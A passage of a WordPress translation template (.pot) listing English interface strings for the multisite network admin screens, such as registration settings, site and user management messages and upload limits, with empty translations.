what᾿s put in the first post, page, comment, comment author, and comment URL." msgstr "" #: wp-admin/network/themes.php:201 msgid "This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using." msgstr "" #: wp-admin/network/themes.php:202 msgid "If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site’s Appearance > Themes screen." msgstr "" #: wp-admin/network/settings.php:26 msgid "This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site’s options." msgstr "" #: wp-admin/network/settings.php:28 msgid "Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network." msgstr "" #: wp-admin/network/settings.php:31 msgid "Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins." msgstr "" #: wp-admin/network/sites.php:32 msgid "This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table." msgstr "" #: wp-admin/network/user-new.php:24 msgid "Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them." msgstr "" #: wp-admin/network/users.php:235 msgid "You can sort the table by clicking on any of the bold headings and switch between list and excerpt views by using the icons in the upper right." msgstr "" #: wp-admin/network/upgrade.php:27 msgid "If this process fails for any reason, users logging in to their sites will force the same update." msgstr "" #: wp-admin/network/upgrade.php:26 msgid "If a version update to core has not happened, clicking this button won’t affect anything." msgstr "" #: wp-admin/network/users.php:232 msgid "This table shows all users across the network and the sites to which they are assigned." msgstr "" #: wp-admin/network/users.php:237 msgid "You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege." msgstr "" #: wp-admin/network/site-new.php:49 msgid "The following words are reserved for use by WordPress functions and cannot be used as blog names: <code>%s</code>" msgstr "" #: wp-admin/network/upgrade.php:69 msgid "Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: <em>%2$s</em>" msgstr "" #: wp-admin/network/settings.php:167 msgid "If you want to limit site registrations to certain domains. One domain per line." msgstr "" #: wp-admin/network/settings.php:178 msgid "If you want to ban domains from site registrations. One domain per line." msgstr "" #: wp-admin/network/settings.php:125 msgid "If registration is disabled, please set <code>NOBLOGREDIRECT</code> in <code>wp-config.php</code> to a URL you will redirect visitors to if they visit a non-existent site." msgstr "" #: wp-admin/network/site-new.php:37 msgid "Can’t create an empty site." msgstr "" #: wp-admin/network/upgrade.php:88 msgid "If your browser doesn’t start loading the next page automatically, click this link:" msgstr "" #: wp-admin/network/sites.php:224 msgid "Site marked as spam." msgstr "" #: wp-admin/network/sites.php:197 msgid "Sites marked as spam." msgstr "" #: wp-admin/network/sites.php:194 msgid "Sites removed from spam." msgstr "" #: wp-admin/network/users.php:260 msgid "Users removed from spam." msgstr "" #: wp-admin/network/sites.php:221 msgid "Site removed from spam." msgstr "" #: wp-admin/network/sites.php:200 msgid "Sites deleted." msgstr "" #: wp-admin/network/sites.php:203 msgid "Site deleted." msgstr "" #: wp-admin/network/users.php:257 msgid "Users marked as spam." msgstr "" #: wp-admin/network/site-info.php:141 msgid "Update <code>siteurl</code> and <code>home</code> as well." msgstr "" #: wp-admin/network/sites.php:218 msgid "Site deactivated." msgstr "" #: wp-admin/network/sites.php:215 msgid "Site activated." msgstr "" #: wp-admin/network/sites.php:212 msgid "Site unarchived." msgstr "" #: wp-admin/network/users.php:263 msgid "Users deleted." msgstr "" #: wp-admin/network/sites.php:209 msgid "Site archived." msgstr "" #: wp-admin/network/site-new.php:60 msgid "Invalid email address." msgstr "" #: wp-admin/network/site-new.php:76 msgid "There was an error creating the user." msgstr "" #: wp-admin/network/sites.php:64 wp-admin/network/sites.php:131 msgid "You are not allowed to change the current site." msgstr "" #: wp-admin/network/settings.php:272 msgctxt "File size in kilobytes" msgid "%s KB" msgstr "" #: wp-admin/network/settings.php:266 msgid "Upload file types" msgstr "" #: wp-admin/network/settings.php:261 msgid "Limit total size of files uploaded to %s MB" msgstr "" #: wp-admin/network/settings.php:242 msgid "The author of the first comment on a new site." msgstr "" #: wp-admin/network/settings.php:213 msgid "The first post on a new site." msgstr "" #: wp-admin/network/settings.php:223 msgid "The first page on a new site." msgstr "" #: wp-admin/network/settings.php:233 msgid "The first comment on a new site." msgstr "" #: wp-admin/network/settings.php:251 msgid "The URL for the first comment on a new site." msgstr "" #: wp-admin/network/upgrade.php:57 msgid "All done!" msgstr "" #: wp-admin/network/settings.php:121 msgid "Logged in users may register new sites." msgstr "" #: wp-admin/network/settings.php:122 msgid "Both sites and user accounts can be registered." msgstr "" #: wp-admin/network/settings.php:120 msgid "User accounts may be registered." msgstr "" #: wp-admin/network/settings.php:119 msgid "Registration is disabled." msgstr "" #: wp-admin/network/settings.php:308 msgid "Enable administration menus" msgstr "" #: wp-admin/network/settings.php:90 msgid "Operational Settings" msgstr "" #: wp-admin/network/settings.php:256 msgid "Upload Settings" msgstr "" #: wp-admin/network/settings.php:184 msgid "New Site Settings" msgstr "" #: wp-admin/network/settings.php:109 msgid "Registration Settings" msgstr "" #: wp-admin/network/site-new.php:56 msgid "Missing or invalid site address." msgstr "" #: wp-admin/network/site-new.php:58 msgid "Missing email address." msgstr "" #: wp-admin/network/settings.php:100 wp-admin/network.php:303 msgid "Network Admin Email" msgstr "" #: wp-admin/network/site-new.php:91 msgid "[%s] New Site Created" msgstr "" #: wp-admin/network/settings.php:193 msgid "The welcome email sent to new site owners." msgstr "" #: wp-admin/network/settings.php:259 msgid "Site upload space" msgstr "" #: wp-admin/network/settings.php:138 msgid "Send the network admin an email notification every time someone registers a site or user account." msgstr "" #: wp-admin/network/settings.php:154 msgid "Users are not allowed to register these sites. Separate names by spaces." msgstr "" #: wp-admin/network/upgrade.php:88 msgid "Next Sites" msgstr "" #: wp-admin/network/index.php:20 wp-admin/network/settings.php:17 #: wp-admin/network/site-info.php:43 wp-admin/network/site-settings.php:43 #: wp-admin/network/site-themes.php:60 wp-admin/network/site-users.php:53 #: wp-admin/network/sites.php:17 wp-admin/network/sites.php:100 #: wp-admin/network/upgrade.php:39 wp-admin/network/user-new.php:36 #: wp-admin/network/users.php:17 wp-admin/network/users.php:97 #: wp-admin/network/users.php:118 wp-admin/network/users.php:131 #: wp-admin/network/users.php:180 msgid "You do not have permission to access this page." msgstr "" #: wp-admin/network/sites.php:77 msgid "Confirm" msgstr "" #: wp-admin/network/user-new.php:39 msgid "Cannot create an empty user." msgstr "" #: wp-admin/network/site-users.php:233 msgid "Duplicated username or email address." msgstr "" #: wp-admin/network/settings.php:112 msgid "Allow new registrations" msgstr "" #: wp-admin/network/settings.php:132 msgid "Registration notification" msgstr "" #: wp-admin/network/settings.php:143 msgid "Add New Users" msgstr "" #: wp-admin/network/settings.php:150 msgid "Banned Names" msgstr "" #: wp-admin/network/settings.php:160 msgid "Limited Email Registrations" msgstr "" #: wp-admin/network/settings.php:173 msgid "Banned Email Domains" msgstr "" #: wp-admin/network/settings.php:188 msgid "Welcome Email" msgstr "" #: wp-admin/network/settings.php:198 msgid "Welcome User Email" msgstr "" #: wp-admin/network/settings.php:203 msgid "The welcome email sent to new users." msgstr "" #: wp-admin/network/settings.php:218 msgid "First Page" msgstr "" #: wp-admin/network/settings.php:228 msgid "First Comment" msgstr "" #: wp-admin/network/settings.php:238 msgid "First Comment Author" msgstr "" #: wp-admin/network/settings.php:247 msgid "First Comment URL" msgstr "" #: wp-admin/network/settings.php:271 msgid "Max upload file size" msgstr "" #: wp-admin/network/settings.php:283 msgid "Default Language" msgstr "" #: wp-admin/network/site-new.php:149 msgid "Add Site" msgstr "" #: wp-admin/network/site-new.php:126 msgid "Site Address" msgstr "" #: wp-admin/network/site-new.php:142 msgid "Admin Email" msgstr "" #: wp-admin/network/site-new.php:146 msgid "A new user will be created if the above email address is not in the database." msgstr "" #: wp-admin/network/site-new.php:146 msgid "The username and password will be mailed to this email address." msgstr "" #: wp-admin/network/site-users.php:310 wp-admin/network/user-new.php:98 msgid "Username and password will be mailed to the above email address." msgstr ""